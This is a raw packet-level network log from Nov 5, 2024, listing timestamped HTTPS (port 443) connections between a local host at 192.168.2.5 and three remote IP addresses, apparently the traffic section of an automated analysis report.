Nov 5, 2024 22:44:16.250444889 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.255336046 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.255542040 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.265549898 CET	443	49783	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.265628099 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.268575907 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.268580914 CET	443	49783	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.268811941 CET	443	49783	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.268857956 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.269443989 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.276015043 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.276030064 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.276101112 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.276108980 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.276202917 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.303339958 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.311338902 CET	443	49783	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.318303108 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.318319082 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.318387032 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.318398952 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319041967 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319061041 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319094896 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.319103003 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319132090 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.319152117 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.319842100 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319855928 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319895983 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.319902897 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.319926023 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.320712090 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.365879059 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.367428064 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.367438078 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.367487907 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.368395090 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.368422031 CET	443	49779	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.368475914 CET	49779	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.371932983 CET	49786	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.371949911 CET	443	49786	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.372019053 CET	49786	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.378452063 CET	49786	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.378463030 CET	443	49786	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.391491890 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.391506910 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.391570091 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.391580105 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.391633987 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.434117079 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.434133053 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.434199095 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.434210062 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.434252977 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.434865952 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.434879065 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.434911966 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.434917927 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.434938908 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.434950113 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.435564041 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.435579062 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.435612917 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.435617924 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.435628891 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.435630083 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.435657978 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.435667038 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.435678005 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.435693026 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.435739994 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.471127987 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.471152067 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.471164942 CET	49778	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.471174002 CET	443	49778	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.619294882 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.619441986 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.619457960 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.619503975 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.628076077 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.628143072 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.628154039 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.628196001 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.628454924 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.628500938 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.628505945 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.628562927 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.683259010 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.683389902 CET	443	49780	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.683451891 CET	49780	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.687717915 CET	49787	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.687747002 CET	443	49787	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.687860966 CET	49787	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.688580990 CET	49787	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.688592911 CET	443	49787	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.689143896 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.689181089 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.689285040 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.689291954 CET	443	49781	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.689335108 CET	49781	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.801517963 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.801561117 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.801623106 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.803534031 CET	49783	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.803566933 CET	49786	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.803647041 CET	49787	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.805242062 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.805260897 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.805352926 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.805545092 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.805578947 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.805634975 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.806282997 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.806292057 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.807040930 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:16.807056904 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:16.820521116 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.820538998 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.821436882 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.821463108 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.821536064 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.822645903 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:16.822654963 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:16.828720093 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.828738928 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.828881979 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.829524994 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.829535007 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.829766989 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.830123901 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.830136061 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.830224991 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.830497980 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.830511093 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.830986023 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.830998898 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.831882000 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.831897974 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.838496923 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.838512897 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.838579893 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.838743925 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.838754892 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.848078012 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.848092079 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:16.848145008 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.849530935 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:16.849540949 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.552660942 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.557554007 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.557583094 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.561199903 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.564285040 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.564302921 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.564456940 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.564461946 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.564749002 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.564753056 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.564986944 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.565566063 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.565578938 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.565915108 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.565918922 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.599476099 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.600171089 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.600187063 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.600709915 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.600714922 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.603605032 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.603909969 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.603933096 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.604259968 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.604264975 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.661220074 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.661452055 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.661983967 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.662038088 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.665534973 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.665540934 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.665761948 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.665808916 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.666136026 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.676734924 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:17.676814079 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:17.677263975 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:17.677273989 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:17.677375078 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:17.677378893 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:17.685578108 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:17.685651064 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:17.685924053 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:17.685937881 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:17.686037064 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:17.686043024 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:17.687810898 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.687833071 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.687891960 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.687906981 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.687951088 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.688196898 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.688200951 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.688227892 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.688303947 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.688327074 CET	443	49792	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.688390017 CET	49792	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.691337109 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.691355944 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.691426992 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.691549063 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.691555023 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.693363905 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.693387032 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.693422079 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.693432093 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.693481922 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.693639040 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.693654060 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.693664074 CET	49794	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.693669081 CET	443	49794	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.694519997 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.695897102 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.695919037 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.696072102 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.696192980 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.696198940 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.697571039 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.697627068 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.697658062 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.697668076 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.697680950 CET	49793	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.697685003 CET	443	49793	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.699476004 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.699532986 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.699608088 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.699726105 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.699747086 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.702864885 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.702940941 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.703625917 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.703685045 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.705322027 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.705327988 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.705595016 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.705647945 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.706031084 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:17.711332083 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.733994961 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.734128952 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.734285116 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.734321117 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.734327078 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.734354973 CET	49796	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.734358072 CET	443	49796	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.737004995 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.737030983 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.737097979 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.737227917 CET	49801	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.737238884 CET	443	49801	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.751333952 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:17.786914110 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.786936045 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.786988020 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.787086964 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.787391901 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.787408113 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.787420988 CET	49795	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.787425995 CET	443	49795	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.790560007 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.790604115 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:17.790685892 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.790843964 CET	49802	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:17.790862083 CET	443	49802	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.032277107 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.032419920 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.032438040 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.032558918 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.032840967 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.032865047 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.033035994 CET	443	49790	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.033087015 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.033103943 CET	49790	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.033499002 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.033521891 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.033587933 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.033792019 CET	49803	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.033803940 CET	443	49803	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.073935032 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.073997974 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.074026108 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.074075937 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.074176073 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.074212074 CET	443	49789	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.074268103 CET	49789	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.075087070 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.075141907 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.075227976 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.075882912 CET	49804	443	192.168.2.5	172.217.23.110
Nov 5, 2024 22:44:18.075901031 CET	443	49804	172.217.23.110	192.168.2.5
Nov 5, 2024 22:44:18.092911005 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.093434095 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.093528986 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.093549013 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.093611956 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.094134092 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.094166040 CET	443	49791	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.094242096 CET	49791	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.094759941 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.094780922 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.094985008 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.095220089 CET	49805	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.095232010 CET	443	49805	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.261199951 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.261312962 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.261341095 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.261823893 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.261882067 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.261893034 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.262269020 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.262350082 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.262382030 CET	443	49788	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.262430906 CET	49788	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.262916088 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.262960911 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.263032913 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.263240099 CET	49806	443	192.168.2.5	142.250.186.65
Nov 5, 2024 22:44:18.263252974 CET	443	49806	142.250.186.65	192.168.2.5
Nov 5, 2024 22:44:18.418862104 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.419261932 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.419281960 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.419743061 CET	49799	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.419749022 CET	443	49799	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.436340094 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.436636925 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.436649084 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.436945915 CET	49798	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.436949968 CET	443	49798	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.440782070 CET	443	49800	13.107.246.45	192.168.2.5
Nov 5, 2024 22:44:18.441037893 CET	49800	443	192.168.2.5	13.107.246.45
Nov 5, 2024 22:44:18.441066980 CET	443	49800	13.107.246.45	192.168.2.5
